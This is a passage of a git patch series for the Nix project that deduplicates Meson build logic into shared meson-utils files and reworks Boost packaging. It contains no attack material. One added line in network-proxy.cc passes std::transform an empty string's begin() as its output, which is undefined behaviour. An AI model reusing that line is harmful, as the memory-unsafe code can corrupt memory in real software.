['-Wl,--export-all-symbols'] -else - linker_export_flags = [] -endif +subdir('meson-utils/export-all-symbols') this_library = library( 'nixstore', diff --git a/src/libutil-c/meson.build b/src/libutil-c/meson.build index 35338cbbc..b8c74bf11 100644 --- a/src/libutil-c/meson.build +++ b/src/libutil-c/meson.build @@ -68,17 +68,7 @@ headers = [config_h] + files( 'nix_api_util.h', ) -if host_machine.system() == 'cygwin' or host_machine.system() == 'windows' - # Windows DLLs are stricter ab_subprojectout symbol visibility than Unix shared - # objects --- see https://gcc.gnu.org/wiki/Visibility for details. - # This is a temporary sledgehammer to export everything like on Unix, - # and not detail with this yet. - # - # TODO do not do this, and instead do fine-grained export annotations. - linker_export_flags = ['-Wl,--export-all-symbols'] -else - linker_export_flags = [] -endif +subdir('meson-utils/export-all-symbols') this_library = library( 'nixutilc', diff --git a/src/libutil-test-support/meson.build b/src/libutil-test-support/meson.build index 1b8a14355..4239003c5 100644 --- a/src/libutil-test-support/meson.build +++ b/src/libutil-test-support/meson.build @@ -60,17 +60,7 @@ headers = files( 'tests/string_callback.hh', ) -if host_machine.system() == 'cygwin' or host_machine.system() == 'windows' - # Windows DLLs are stricter about symbol visibility than Unix shared - # objects --- see https://gcc.gnu.org/wiki/Visibility for details. - # This is a temporary sledgehammer to export everything like on Unix, - # and not detail with this yet. - # - # TODO do not do this, and instead do fine-grained export annotations. - linker_export_flags = ['-Wl,--export-all-symbols'] -else - linker_export_flags = [] -endif +subdir('meson-utils/export-all-symbols') this_library = library( 'nix-util-test-support', diff --git a/src/libutil-test/meson.build b/src/libutil-test/meson.build index 36e8c2288..8d9d32151 100644 --- a/src/libutil-test/meson.build +++ b/src/libutil-test/meson.build @@ -25,17 +25,7 @@ deps_public_maybe_subproject = [ ] subdir('meson-utils/subprojects') -if host_machine.system() == 'cygwin' or host_machine.system() == 'windows' - # Windows DLLs are stricter about symbol visibility than Unix shared - # objects --- see https://gcc.gnu.org/wiki/Visibility for details. - # This is a temporary sledgehammer to export everything like on Unix, - # and not detail with this yet. - # - # TODO do not do this, and instead do fine-grained export annotations. - linker_export_flags = ['-Wl,--export-all-symbols'] -else - linker_export_flags = [] -endif +subdir('meson-utils/export-all-symbols') rapidcheck = dependency('rapidcheck') deps_private += rapidcheck diff --git a/src/libutil/meson.build b/src/libutil/meson.build index d0e9f02c4..84e47b4b4 100644 --- a/src/libutil/meson.build +++ b/src/libutil/meson.build @@ -257,17 +257,7 @@ else subdir('unix') endif -if host_machine.system() == 'cygwin' or host_machine.system() == 'windows' - # Windows DLLs are stricter about symbol visibility than Unix shared - # objects --- see https://gcc.gnu.org/wiki/Visibility for details. - # This is a temporary sledgehammer to export everything like on Unix, - # and not detail with this yet. - # - # TODO do not do this, and instead do fine-grained export annotations. - linker_export_flags = ['-Wl,--export-all-symbols'] -else - linker_export_flags = [] -endif +subdir('meson-utils/export-all-symbols') this_library = library( 'nixutil', From 8198888bc41b3aeff445b730556a701024eabdf2 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Thu, 27 Jun 2024 12:57:32 -0400 Subject: [PATCH 0949/1251] More dedup --- meson-utils/threads/meson.build | 6 ++++++ src/libexpr/meson.build | 7 +------ src/libstore/meson.build | 7 +------ src/libutil/meson.build | 7 +------ 4 files changed, 9 insertions(+), 18 deletions(-) create mode 100644 meson-utils/threads/meson.build diff --git a/meson-utils/threads/meson.build b/meson-utils/threads/meson.build new file mode 100644 index 000000000..294160de1 --- /dev/null +++ b/meson-utils/threads/meson.build @@ -0,0 +1,6 @@ +# This is only conditional to work around +# https://github.com/mesonbuild/meson/issues/13293. It should be +# unconditional. +if not (host_machine.system() == 'windows' and cxx.get_id() == 'gcc') + deps_private += dependency('threads') +endif diff --git a/src/libexpr/meson.build b/src/libexpr/meson.build index 30981a66e..8d37947b1 100644 --- a/src/libexpr/meson.build +++ b/src/libexpr/meson.build @@ -27,12 +27,7 @@ deps_public_maybe_subproject = [ ] subdir('meson-utils/subprojects') -# This is only conditional to work around -# https://github.com/mesonbuild/meson/issues/13293. It should be -# unconditional. -if not (host_machine.system() == 'windows' and cxx.get_id() == 'gcc') - deps_private += dependency('threads') -endif +subdir('meson-utils/threads') boost = dependency( 'boost', diff --git a/src/libstore/meson.build b/src/libstore/meson.build index a552fc819..8ec12e42f 100644 --- a/src/libstore/meson.build +++ b/src/libstore/meson.build @@ -67,12 +67,7 @@ has_acl_support = cxx.has_header('sys/xattr.h') \ and cxx.has_function('lremovexattr') configdata.set('HAVE_ACL_SUPPORT', has_acl_support.to_int()) -# This is only conditional to work around -# https://github.com/mesonbuild/meson/issues/13293. It should be -# unconditional. -if not (host_machine.system() == 'windows' and cxx.get_id() == 'gcc') - deps_private += dependency('threads') -endif +subdir('meson-utils/threads') boost = dependency( 'boost', diff --git a/src/libutil/meson.build b/src/libutil/meson.build index 84e47b4b4..317b06da0 100644 --- a/src/libutil/meson.build +++ b/src/libutil/meson.build @@ -48,12 +48,7 @@ foreach funcspec : check_funcs configdata.set(define_name, define_value) endforeach -# This is only conditional to work around -# https://github.com/mesonbuild/meson/issues/13293. It should be -# unconditional. -if not (host_machine.system() == 'windows' and cxx.get_id() == 'gcc') - deps_private += dependency('threads') -endif +subdir('meson-utils/threads') if host_machine.system() == 'windows' socket = cxx.find_library('ws2_32') From 8399bd6b8f86b74688a45acd4913414fcc19583b Mon Sep 17 00:00:00 2001 From: John Ericson Date: Thu, 27 Jun 2024 16:11:52 -0400 Subject: [PATCH 0950/1251] Dedup --- meson-utils/diagnostics/meson.build | 16 ++++++++++++++++ src/libexpr-c/meson.build | 14 ++------------ src/libexpr-test-support/meson.build | 14 ++------------ src/libexpr-test/meson.build | 14 ++------------ src/libexpr/meson.build | 15 ++------------- src/libfetchers-test/meson.build | 14 ++------------ src/libfetchers/meson.build | 15 ++------------- src/libflake-test/meson.build | 14 ++------------ src/libflake/meson.build | 14 ++------------ src/libstore-c/meson.build | 14 ++------------ src/libstore-test-support/meson.build | 14 ++------------ src/libstore-test/meson.build | 14 ++------------ src/libstore/meson.build | 15 ++------------- src/libutil-c/meson.build | 15 ++------------- src/libutil-test-support/meson.build | 15 ++------------- src/libutil-test/meson.build | 15 ++------------- src/libutil/meson.build | 15 ++------------- 17 files changed, 48 insertions(+), 199 deletions(-) create mode 100644 meson-utils/diagnostics/meson.build diff --git a/meson-utils/diagnostics/meson.build b/meson-utils/diagnostics/meson.build new file mode 100644 index 000000000..eb0c636c0 --- /dev/null +++ b/meson-utils/diagnostics/meson.build @@ -0,0 +1,16 @@ +add_project_arguments( + '-Wno-deprecated-declarations', + '-Wimplicit-fallthrough', + '-Werror=switch', + '-Werror=switch-enum', + '-Werror=unused-result', + '-Wdeprecated-copy', + '-Wignored-qualifiers', + # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked + # at ~1% overhead in `nix search`. + # + # FIXME: remove when we get meson 1.4.0 which will default this to on for us: + # https://mesonbuild.com/Release-notes-for-1-4-0.html#ndebug-setting-now-controls-c-stdlib-assertions + '-D_GLIBCXX_ASSERTIONS=1', + language : 'cpp', +) diff --git a/src/libexpr-c/meson.build b/src/libexpr-c/meson.build index b242c2d8e..477640240 100644 --- a/src/libexpr-c/meson.build +++ b/src/libexpr-c/meson.build @@ -50,21 +50,11 @@ add_project_arguments( '-include', 'config-util.h', '-include', 'config-store.h', '-include', 'config-expr.h', - '-Wno-deprecated-declarations', - '-Wimplicit-fallthrough', - '-Werror=switch', - '-Werror=switch-enum', - '-Wdeprecated-copy', - '-Wignored-qualifiers', - # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked - # at ~1% overhead in `nix search`. - # - # FIXME: remove when we get meson 1.4.0 which will default this to on for us: - # https://mesonbuild.com/Release-notes-for-1-4-0.html#ndebug-setting-now-controls-c-stdlib-assertions - '-D_GLIBCXX_ASSERTIONS=1', language : 'cpp', ) +subdir('meson-utils/diagnostics') + sources = files( 'nix_api_expr.cc', 'nix_api_external.cc', diff --git a/src/libexpr-test-support/meson.build b/src/libexpr-test-support/meson.build index 4209a4464..ad3108a61 100644 --- a/src/libexpr-test-support/meson.build +++ b/src/libexpr-test-support/meson.build @@ -36,21 +36,11 @@ add_project_arguments( '-include', 'config-util.hh', '-include', 'config-store.hh', '-include', 'config-expr.hh', - '-Wno-deprecated-declarations', - '-Wimplicit-fallthrough', - '-Werror=switch', - '-Werror=switch-enum', - '-Wdeprecated-copy', - '-Wignored-qualifiers', - # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked - # at ~1% overhead in `nix search`. - # - # FIXME: remove when we get meson 1.4.0 which will default this to on for us: - # https://mesonbuild.com/Release-notes-for-1-4-0.html#ndebug-setting-now-controls-c-stdlib-assertions - '-D_GLIBCXX_ASSERTIONS=1', language : 'cpp', ) +subdir('meson-utils/diagnostics') + sources = files( 'tests/value/context.cc', ) diff --git a/src/libexpr-test/meson.build b/src/libexpr-test/meson.build index 11ab5c6e2..e5bb771e3 100644 --- a/src/libexpr-test/meson.build +++ b/src/libexpr-test/meson.build @@ -48,21 +48,11 @@ add_project_arguments( '-include', 'config-util.h', '-include', 'config-store.h', '-include', 'config-expr.h', - '-Wno-deprecated-declarations', - '-Wimplicit-fallthrough', - '-Werror=switch', - '-Werror=switch-enum', - '-Wdeprecated-copy', - '-Wignored-qualifiers', - # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked - # at ~1% overhead in `nix search`. - # - # FIXME: remove when we get meson 1.4.0 which will default this to on for us: - # https://mesonbuild.com/Release-notes-for-1-4-0.html#ndebug-setting-now-controls-c-stdlib-assertions - '-D_GLIBCXX_ASSERTIONS=1', language : 'cpp', ) +subdir('meson-utils/diagnostics') + sources = files( 'derived-path.cc', 'error_traces.cc', diff --git a/src/libexpr/meson.build b/src/libexpr/meson.build index 8d37947b1..d99f80486 100644 --- a/src/libexpr/meson.build +++ b/src/libexpr/meson.build @@ -66,22 +66,11 @@ add_project_arguments( '-include', 'config-util.hh', '-include', 'config-store.hh', # '-include', 'config-fetchers.h', - '-include', 'config-expr.hh', - '-Wno-deprecated-declarations', - '-Wimplicit-fallthrough', - '-Werror=switch', - '-Werror=switch-enum', - '-Wdeprecated-copy', - '-Wignored-qualifiers', - # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked - # at ~1% overhead in `nix search`. - # - # FIXME: remove when we get meson 1.4.0 which will default this to on for us: - # https://mesonbuild.com/Release-notes-for-1-4-0.html#ndebug-setting-now-controls-c-stdlib-assertions - '-D_GLIBCXX_ASSERTIONS=1', language : 'cpp', ) +subdir('meson-utils/diagnostics') + parser_tab = custom_target( input : 'parser.y', output : [ diff --git a/src/libfetchers-test/meson.build b/src/libfetchers-test/meson.build index 846d2d70a..30056c64a 100644 --- a/src/libfetchers-test/meson.build +++ b/src/libfetchers-test/meson.build @@ -45,21 +45,11 @@ add_project_arguments( '-include', 'config-store.hh', '-include', 'config-util.h', '-include', 'config-store.h', - '-Wno-deprecated-declarations', - '-Wimplicit-fallthrough', - '-Werror=switch', - '-Werror=switch-enum', - '-Wdeprecated-copy', - '-Wignored-qualifiers', - # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked - # at ~1% overhead in `nix search`. - # - # FIXME: remove when we get meson 1.4.0 which will default this to on for us: - # https://mesonbuild.com/Release-notes-for-1-4-0.html#ndebug-setting-now-controls-c-stdlib-assertions - '-D_GLIBCXX_ASSERTIONS=1', language : 'cpp', ) +subdir('meson-utils/diagnostics') + sources = files( 'public-key.cc', ) diff --git a/src/libfetchers/meson.build b/src/libfetchers/meson.build index 07ec2bc57..16645bda3 100644 --- a/src/libfetchers/meson.build +++ b/src/libfetchers/meson.build @@ -38,22 +38,11 @@ add_project_arguments( '-include', 'config-util.hh', '-include', 'config-store.hh', # '-include', 'config-fetchers.h', - '-Wno-deprecated-declarations', - '-Wimplicit-fallthrough', - '-Werror=switch', - '-Werror=switch-enum', - '-Werror=unused-result', - '-Wdeprecated-copy', - '-Wignored-qualifiers', - # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked - # at ~1% overhead in `nix search`. - # - # FIXME: remove when we get meson 1.4.0 which will default this to on for us: - # https://mesonbuild.com/Release-notes-for-1-4-0.html#ndebug-setting-now-controls-c-stdlib-assertions - '-D_GLIBCXX_ASSERTIONS=1', language : 'cpp', ) +subdir('meson-utils/diagnostics') + sources = files( 'attrs.cc', 'cache.cc', diff --git a/src/libflake-test/meson.build b/src/libflake-test/meson.build index e4665ce9c..b5f0c2fb4 100644 --- a/src/libflake-test/meson.build +++ b/src/libflake-test/meson.build @@ -49,21 +49,11 @@ add_project_arguments( '-include', 'config-util.h', '-include', 'config-store.h', '-include', 'config-expr.h', - '-Wno-deprecated-declarations', - '-Wimplicit-fallthrough', - '-Werror=switch', - '-Werror=switch-enum', - '-Wdeprecated-copy', - '-Wignored-qualifiers', - # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked - # at ~1% overhead in `nix search`. - # - # FIXME: remove when we get meson 1.4.0 which will default this to on for us: - # https://mesonbuild.com/Release-notes-for-1-4-0.html#ndebug-setting-now-controls-c-stdlib-assertions - '-D_GLIBCXX_ASSERTIONS=1', language : 'cpp', ) +subdir('meson-utils/diagnostics') + sources = files( 'flakeref.cc', 'url-name.cc', diff --git a/src/libflake/meson.build b/src/libflake/meson.build index b0c172f0c..13541fc43 100644 --- a/src/libflake/meson.build +++ b/src/libflake/meson.build @@ -39,21 +39,11 @@ add_project_arguments( '-include', 'config-store.hh', # '-include', 'config-fetchers.h', '-include', 'config-expr.hh', - '-Wno-deprecated-declarations', - '-Wimplicit-fallthrough', - '-Werror=switch', - '-Werror=switch-enum', - '-Wdeprecated-copy', - '-Wignored-qualifiers', - # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked - # at ~1% overhead in `nix search`. - # - # FIXME: remove when we get meson 1.4.0 which will default this to on for us: - # https://mesonbuild.com/Release-notes-for-1-4-0.html#ndebug-setting-now-controls-c-stdlib-assertions - '-D_GLIBCXX_ASSERTIONS=1', language : 'cpp', ) +subdir('meson-utils/diagnostics') + sources = files( 'flake-settings.cc', 'flake/config.cc', diff --git a/src/libstore-c/meson.build b/src/libstore-c/meson.build index b86209720..cd068fed2 100644 --- a/src/libstore-c/meson.build +++ b/src/libstore-c/meson.build @@ -46,21 +46,11 @@ add_project_arguments( # From C libraries, for our public, installed headers too '-include', 'config-util.h', '-include', 'config-store.h', - '-Wno-deprecated-declarations', - '-Wimplicit-fallthrough', - '-Werror=switch', - '-Werror=switch-enum', - '-Wdeprecated-copy', - '-Wignored-qualifiers', - # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked - # at ~1% overhead in `nix search`. - # - # FIXME: remove when we get meson 1.4.0 which will default this to on for us: - # https://mesonbuild.com/Release-notes-for-1-4-0.html#ndebug-setting-now-controls-c-stdlib-assertions - '-D_GLIBCXX_ASSERTIONS=1', language : 'cpp', ) +subdir('meson-utils/diagnostics') + sources = files( 'nix_api_store.cc', ) diff --git a/src/libstore-test-support/meson.build b/src/libstore-test-support/meson.build index 9c798e9cb..adf6f685e 100644 --- a/src/libstore-test-support/meson.build +++ b/src/libstore-test-support/meson.build @@ -33,21 +33,11 @@ add_project_arguments( # It would be nice for our headers to be idempotent instead. '-include', 'config-util.hh', '-include', 'config-store.hh', - '-Wno-deprecated-declarations', - '-Wimplicit-fallthrough', - '-Werror=switch', - '-Werror=switch-enum', - '-Wdeprecated-copy', - '-Wignored-qualifiers', - # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked - # at ~1% overhead in `nix search`. - # - # FIXME: remove when we get meson 1.4.0 which will default this to on for us: - # https://mesonbuild.com/Release-notes-for-1-4-0.html#ndebug-setting-now-controls-c-stdlib-assertions - '-D_GLIBCXX_ASSERTIONS=1', language : 'cpp', ) +subdir('meson-utils/diagnostics') + sources = files( 'tests/derived-path.cc', 'tests/outputs-spec.cc', diff --git a/src/libstore-test/meson.build b/src/libstore-test/meson.build index 3ec7fbbd7..cb561977c 100644 --- a/src/libstore-test/meson.build +++ b/src/libstore-test/meson.build @@ -43,21 +43,11 @@ add_project_arguments( '-include', 'config-store.hh', '-include', 'config-util.h', '-include', 'config-store.h', - '-Wno-deprecated-declarations', - '-Wimplicit-fallthrough', - '-Werror=switch', - '-Werror=switch-enum', - '-Wdeprecated-copy', - '-Wignored-qualifiers', - # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked - # at ~1% overhead in `nix search`. - # - # FIXME: remove when we get meson 1.4.0 which will default this to on for us: - # https://mesonbuild.com/Release-notes-for-1-4-0.html#ndebug-setting-now-controls-c-stdlib-assertions - '-D_GLIBCXX_ASSERTIONS=1', language : 'cpp', ) +subdir('meson-utils/diagnostics') + sources = files( 'common-protocol.cc', 'content-address.cc', diff --git a/src/libstore/meson.build b/src/libstore/meson.build index 8ec12e42f..d2a5acb18 100644 --- a/src/libstore/meson.build +++ b/src/libstore/meson.build @@ -150,22 +150,11 @@ add_project_arguments( # It would be nice for our headers to be idempotent instead. '-include', 'config-util.hh', '-include', 'config-store.hh', - '-Wno-deprecated-declarations', - '-Wimplicit-fallthrough', - '-Werror=switch', - '-Werror=switch-enum', - '-Werror=unused-result', - '-Wdeprecated-copy', - '-Wignored-qualifiers', - # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked - # at ~1% overhead in `nix search`. - # - # FIXME: remove when we get meson 1.4.0 which will default this to on for us: - # https://mesonbuild.com/Release-notes-for-1-4-0.html#ndebug-setting-now-controls-c-stdlib-assertions - '-D_GLIBCXX_ASSERTIONS=1', language : 'cpp', ) +subdir('meson-utils/diagnostics') + sources = files( 'binary-cache-store.cc', 'build-result.cc', diff --git a/src/libutil-c/meson.build b/src/libutil-c/meson.build index b8c74bf11..6c316784d 100644 --- a/src/libutil-c/meson.build +++ b/src/libutil-c/meson.build @@ -42,22 +42,11 @@ add_project_arguments( # From C libraries, for our public, installed headers too '-include', 'config-util.h', - '-Wno-deprecated-declarations', - '-Wimplicit-fallthrough', - '-Werror=switch', - '-Werror=switch-enum', - '-Werror=unused-result', - '-Wdeprecated-copy', - '-Wignored-qualifiers', - # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked - # at ~1% overhead in `nix search`. - # - # FIXME: remove when we get meson 1.4.0 which will default this to on for us: - # https://mesonbuild.com/Release-notes-for-1-4-0.html#ndebug-setting-now-controls-c-stdlib-assertions - '-D_GLIBCXX_ASSERTIONS=1', language : 'cpp', ) +subdir('meson-utils/diagnostics') + sources = files( 'nix_api_util.cc', ) diff --git a/src/libutil-test-support/meson.build b/src/libutil-test-support/meson.build index 4239003c5..d63fabce5 100644 --- a/src/libutil-test-support/meson.build +++ b/src/libutil-test-support/meson.build @@ -30,22 +30,11 @@ add_project_arguments( # TODO(Qyriad): Yes this is how the autoconf+Make system did it. # It would be nice for our headers to be idempotent instead. '-include', 'config-util.hh', - '-Wno-deprecated-declarations', - '-Wimplicit-fallthrough', - '-Werror=switch', - '-Werror=switch-enum', - '-Werror=unused-result', - '-Wdeprecated-copy', - '-Wignored-qualifiers', - # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked - # at ~1% overhead in `nix search`. - # - # FIXME: remove when we get meson 1.4.0 which will default this to on for us: - # https://mesonbuild.com/Release-notes-for-1-4-0.html#ndebug-setting-now-controls-c-stdlib-assertions - '-D_GLIBCXX_ASSERTIONS=1', language : 'cpp', ) +subdir('meson-utils/diagnostics') + sources = files( 'tests/hash.cc', 'tests/string_callback.cc', diff --git a/src/libutil-test/meson.build b/src/libutil-test/meson.build index 8d9d32151..43001ca68 100644 --- a/src/libutil-test/meson.build +++ b/src/libutil-test/meson.build @@ -38,22 +38,11 @@ add_project_arguments( # It would be nice for our headers to be idempotent instead. '-include', 'config-util.hh', '-include', 'config-util.h', - '-Wno-deprecated-declarations', - '-Wimplicit-fallthrough', - '-Werror=switch', - '-Werror=switch-enum', - '-Werror=unused-result', - '-Wdeprecated-copy', - '-Wignored-qualifiers', - # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked - # at ~1% overhead in `nix search`. - # - # FIXME: remove when we get meson 1.4.0 which will default this to on for us: - # https://mesonbuild.com/Release-notes-for-1-4-0.html#ndebug-setting-now-controls-c-stdlib-assertions - '-D_GLIBCXX_ASSERTIONS=1', language : 'cpp', ) +subdir('meson-utils/diagnostics') + sources = files( 'args.cc', 'canon-path.cc', diff --git a/src/libutil/meson.build b/src/libutil/meson.build index 317b06da0..7a4dfaf50 100644 --- a/src/libutil/meson.build +++ b/src/libutil/meson.build @@ -111,22 +111,11 @@ add_project_arguments( # TODO(Qyriad): Yes this is how the autoconf+Make system did it. # It would be nice for our headers to be idempotent instead. '-include', 'config-util.hh', - '-Wno-deprecated-declarations', - '-Wimplicit-fallthrough', - '-Werror=switch', - '-Werror=switch-enum', - '-Werror=unused-result', - '-Wdeprecated-copy', - '-Wignored-qualifiers', - # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked - # at ~1% overhead in `nix search`. - # - # FIXME: remove when we get meson 1.4.0 which will default this to on for us: - # https://mesonbuild.com/Release-notes-for-1-4-0.html#ndebug-setting-now-controls-c-stdlib-assertions - '-D_GLIBCXX_ASSERTIONS=1', language : 'cpp', ) +subdir('meson-utils/diagnostics') + sources = files( 'archive.cc', 'args.cc', From 0b539dea4a380235696db6265215a8cca0f33821 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Thu, 27 Jun 2024 17:28:31 -0400 Subject: [PATCH 0951/1251] Improve boost hacks --- flake.nix | 6 +++--- package.nix | 29 +-------------------------- packaging/components.nix | 17 ---------------- packaging/dependencies.nix | 13 +++++++++++++ src/libcmd/network-proxy.cc | 5 +++-- src/libexpr/package.nix | 15 +------------- src/libstore/meson.build | 2 +- src/libstore/package.nix | 10 ---------- src/libutil/meson.build | 7 +------ src/libutil/package.nix | 39 ++----------------------------------- src/perl/package.nix | 14 +------------ 11 files changed, 26 insertions(+), 131 deletions(-) diff --git a/flake.nix b/flake.nix index 582a946c4..04fc94a55 100644 --- a/flake.nix +++ b/flake.nix @@ -207,7 +207,7 @@ # https://github.com/NixOS/nixpkgs/issues/320448 "static-" = nixpkgsFor.${system}.static; }) - (nixpkgsPrefix: nixpkgs: + (nixpkgsPrefix: nixpkgs: flatMapAttrs nixpkgs.nixComponents (pkgName: pkg: flatMapAttrs pkg.tests or {} @@ -304,8 +304,8 @@ env = { # Needed for Meson to find Boost. # https://github.com/NixOS/nixpkgs/issues/86131. - BOOST_INCLUDEDIR = "${lib.getDev pkgs.boost}/include"; - BOOST_LIBRARYDIR = "${lib.getLib pkgs.boost}/lib"; + BOOST_INCLUDEDIR = "${lib.getDev pkgs.nixDependencies.boost}/include"; + BOOST_LIBRARYDIR = "${lib.getLib pkgs.nixDependencies.boost}/lib"; # For `make format`, to work without installing pre-commit _NIX_PRE_COMMIT_HOOKS_CONFIG = "${(pkgs.formats.yaml { }).generate "pre-commit-config.yaml" modular.pre-commit.settings.rawConfig}"; diff --git a/package.nix b/package.nix index 0661dc080..28d7e788f 100644 --- a/package.nix +++ b/package.nix @@ -199,7 +199,6 @@ in { ; buildInputs = lib.optionals doBuild [ - boost brotli bzip2 curl @@ -227,33 +226,12 @@ in { ; propagatedBuildInputs = [ + boost nlohmann_json ] ++ lib.optional enableGC boehmgc; dontBuild = !attrs.doBuild; - disallowedReferences = [ boost ]; - - preConfigure = lib.optionalString (doBuild && ! stdenv.hostPlatform.isStatic) ( - '' - # Copy libboost_context so we don't get all of Boost in our closure. - # https://github.com/NixOS/nixpkgs/issues/45462 - mkdir -p $out/lib - cp -pd ${boost}/lib/{libboost_context*,libboost_thread*,libboost_system*} $out/lib - rm -f $out/lib/*.a - '' + lib.optionalString stdenv.hostPlatform.isLinux '' - chmod u+w $out/lib/*.so.* - patchelf --set-rpath $out/lib:${stdenv.cc.cc.lib}/lib $out/lib/libboost_thread.so.* - '' + lib.optionalString stdenv.hostPlatform.isDarwin '' - for LIB in $out/lib/*.dylib; do - chmod u+w $LIB - install_name_tool -id $LIB $LIB - install_name_tool -delete_rpath ${boost}/lib/ $LIB || true - done - install_name_tool -change ${boost}/lib/libboost_system.dylib $out/lib/libboost_system.dylib $out/lib/libboost_thread.dylib - '' - ); - configureFlags = [ (lib.enableFeature doBuild "build") (lib.enableFeature doInstallCheck "functional-tests") @@ -295,11 +273,6 @@ in { lib.optionalString stdenv.hostPlatform.isStatic '' mkdir -p $out/nix-support echo "file binary-dist $out/bin/nix" >> $out/nix-support/hydra-build-products - '' + lib.optionalString stdenv.isDarwin '' - install_name_tool \ - -change ${boost}/lib/libboost_context.dylib \ - $out/lib/libboost_context.dylib \ - $out/lib/libnixutil.dylib '' ) + lib.optionalString enableManual '' mkdir -p ''${!outputDoc}/nix-support diff --git a/packaging/components.nix b/packaging/components.nix index 0189f4ca3..97b989f1f 100644 --- a/packaging/components.nix +++ b/packaging/components.nix @@ -26,23 +26,6 @@ in nix-expr-test = callPackage ../src/libexpr-test/package.nix { }; nix-expr-c = callPackage ../src/libexpr-c/package.nix { }; - nix-flake = callPackage ../src/libflake/package.nix { }; - nix-flake-c = callPackage ../src/libflake-c/package.nix { }; - - nix-store = callPackage ../src/libstore/package.nix { }; - nix-store-test-support = callPackage ../src/libstore-test-support/package.nix { }; - nix-store-test = callPackage ../src/libstore-test/package.nix { }; - nix-store-c = callPackage ../src/libstore-c/package.nix { }; - - nix-fetchers = callPackage ../src/libfetchers/package.nix { }; - nix-fetchers-test = callPackage ../src/libfetchers-test/package.nix { }; - nix-fetchers-c = callPackage ../src/libfetchers-c/package.nix { }; - - nix-expr = callPackage ../src/libexpr/package.nix { }; - nix-expr-test-support = callPackage ../src/libexpr-test-support/package.nix { }; - nix-expr-test = callPackage ../src/libexpr-test/package.nix { }; - nix-expr-c = callPackage ../src/libexpr-c/package.nix { }; - nix-flake = callPackage ../src/libflake/package.nix { }; nix-internal-api-docs = callPackage ../src/internal-api-docs/package.nix { }; diff --git a/packaging/dependencies.nix b/packaging/dependencies.nix index 484385128..b2349f02c 100644 --- a/packaging/dependencies.nix +++ b/packaging/dependencies.nix @@ -52,6 +52,19 @@ scope: { enableLargeConfig = true; }; + # Hack until https://github.com/NixOS/nixpkgs/issues/45462 is fixed. + boost = (pkgs.boost.override { + extraB2Args = [ + "--with-container" + "--with-context" + "--with-coroutine" + ]; + }).overrideAttrs (old: { + # Need to remove `--with-*` to use `--with-libraries=...` + buildPhase = pkgs.lib.replaceStrings [ "--without-python" ] [ "" ] old.buildPhase; + installPhase = pkgs.lib.replaceStrings [ "--without-python" ] [ "" ] old.installPhase; + }); + libgit2 = pkgs.libgit2.overrideAttrs (attrs: { src = inputs.libgit2; version = inputs.libgit2.lastModifiedDate; diff --git a/src/libcmd/network-proxy.cc b/src/libcmd/network-proxy.cc index 4b7d2441f..47be311cd 100644 --- a/src/libcmd/network-proxy.cc +++ b/src/libcmd/network-proxy.cc @@ -1,7 +1,6 @@ #include "network-proxy.hh" #include -#include #include "environment-variables.hh" @@ -13,7 +12,9 @@ static StringSet getAllVariables() { StringSet variables = lowercaseVariables; for (const auto & variable : lowercaseVariables) { - variables.insert(boost::to_upper_copy(variable)); + std::string upperVariable; + std::transform(variable.begin(), variable.end(), upperVariable.begin(), [](unsigned char c) { return std::toupper(c); }); + variables.insert(std::move(upperVariable)); } return variables; } diff --git a/src/libexpr/package.nix b/src/libexpr/package.nix index 223b04042..799368ee9 100644 --- a/src/libexpr/package.nix +++ b/src/libexpr/package.nix @@ -70,19 +70,14 @@ mkDerivation (finalAttrs: { pkg-config ]; - buildInputs = [ - boost - ]; - propagatedBuildInputs = [ nix-util nix-store nix-fetchers + boost nlohmann_json ] ++ lib.optional enableGC boehmgc; - disallowedReferences = [ boost ]; - preConfigure = # "Inline" .version so it's not a symlink, and includes the suffix '' @@ -104,14 +99,6 @@ mkDerivation (finalAttrs: { enableParallelBuilding = true; - postInstall = - # Remove absolute path to boost libs that ends up in `Libs.private` - # by default, and would clash with out `disallowedReferences`. Part - # of the https://github.com/NixOS/nixpkgs/issues/45462 workaround. - '' - sed -i "$out/lib/pkgconfig/nix-expr.pc" -e 's, ${lib.getLib boost}[^ ]*,,g' - ''; - separateDebugInfo = !stdenv.hostPlatform.isStatic; # TODO Always true after https://github.com/NixOS/nixpkgs/issues/318564 diff --git a/src/libstore/meson.build b/src/libstore/meson.build index d2a5acb18..2bc3f27e4 100644 --- a/src/libstore/meson.build +++ b/src/libstore/meson.build @@ -400,6 +400,6 @@ this_library = library( install_headers(headers, subdir : 'nix', preserve_path : true) -libraries_private = ['-lboost_container'] +libraries_private = [] subdir('meson-utils/export') diff --git a/src/libstore/package.nix b/src/libstore/package.nix index f27dac2f6..5af1a7815 100644 --- a/src/libstore/package.nix +++ b/src/libstore/package.nix @@ -86,8 +86,6 @@ mkDerivation (finalAttrs: { nlohmann_json ]; - disallowedReferences = [ boost ]; - preConfigure = # "Inline" .version so it's not a symlink, and includes the suffix '' @@ -112,14 +110,6 @@ mkDerivation (finalAttrs: { enableParallelBuilding = true; - postInstall = - # Remove absolute path to boost libs that ends up in `Libs.private` - # by default, and would clash with out `disallowedReferences`. Part - # of the https://github.com/NixOS/nixpkgs/issues/45462 workaround. - '' - sed -i "$out/lib/pkgconfig/nix-store.pc" -e 's, ${lib.getLib boost}[^ ]*,,g' - ''; - separateDebugInfo = !stdenv.hostPlatform.isStatic; # TODO Always true after https://github.com/NixOS/nixpkgs/issues/318564 diff --git a/src/libutil/meson.build b/src/libutil/meson.build index 7a4dfaf50..5eee8b3b2 100644 --- a/src/libutil/meson.build +++ b/src/libutil/meson.build @@ -254,12 +254,7 @@ this_library = library( install_headers(headers, subdir : 'nix', 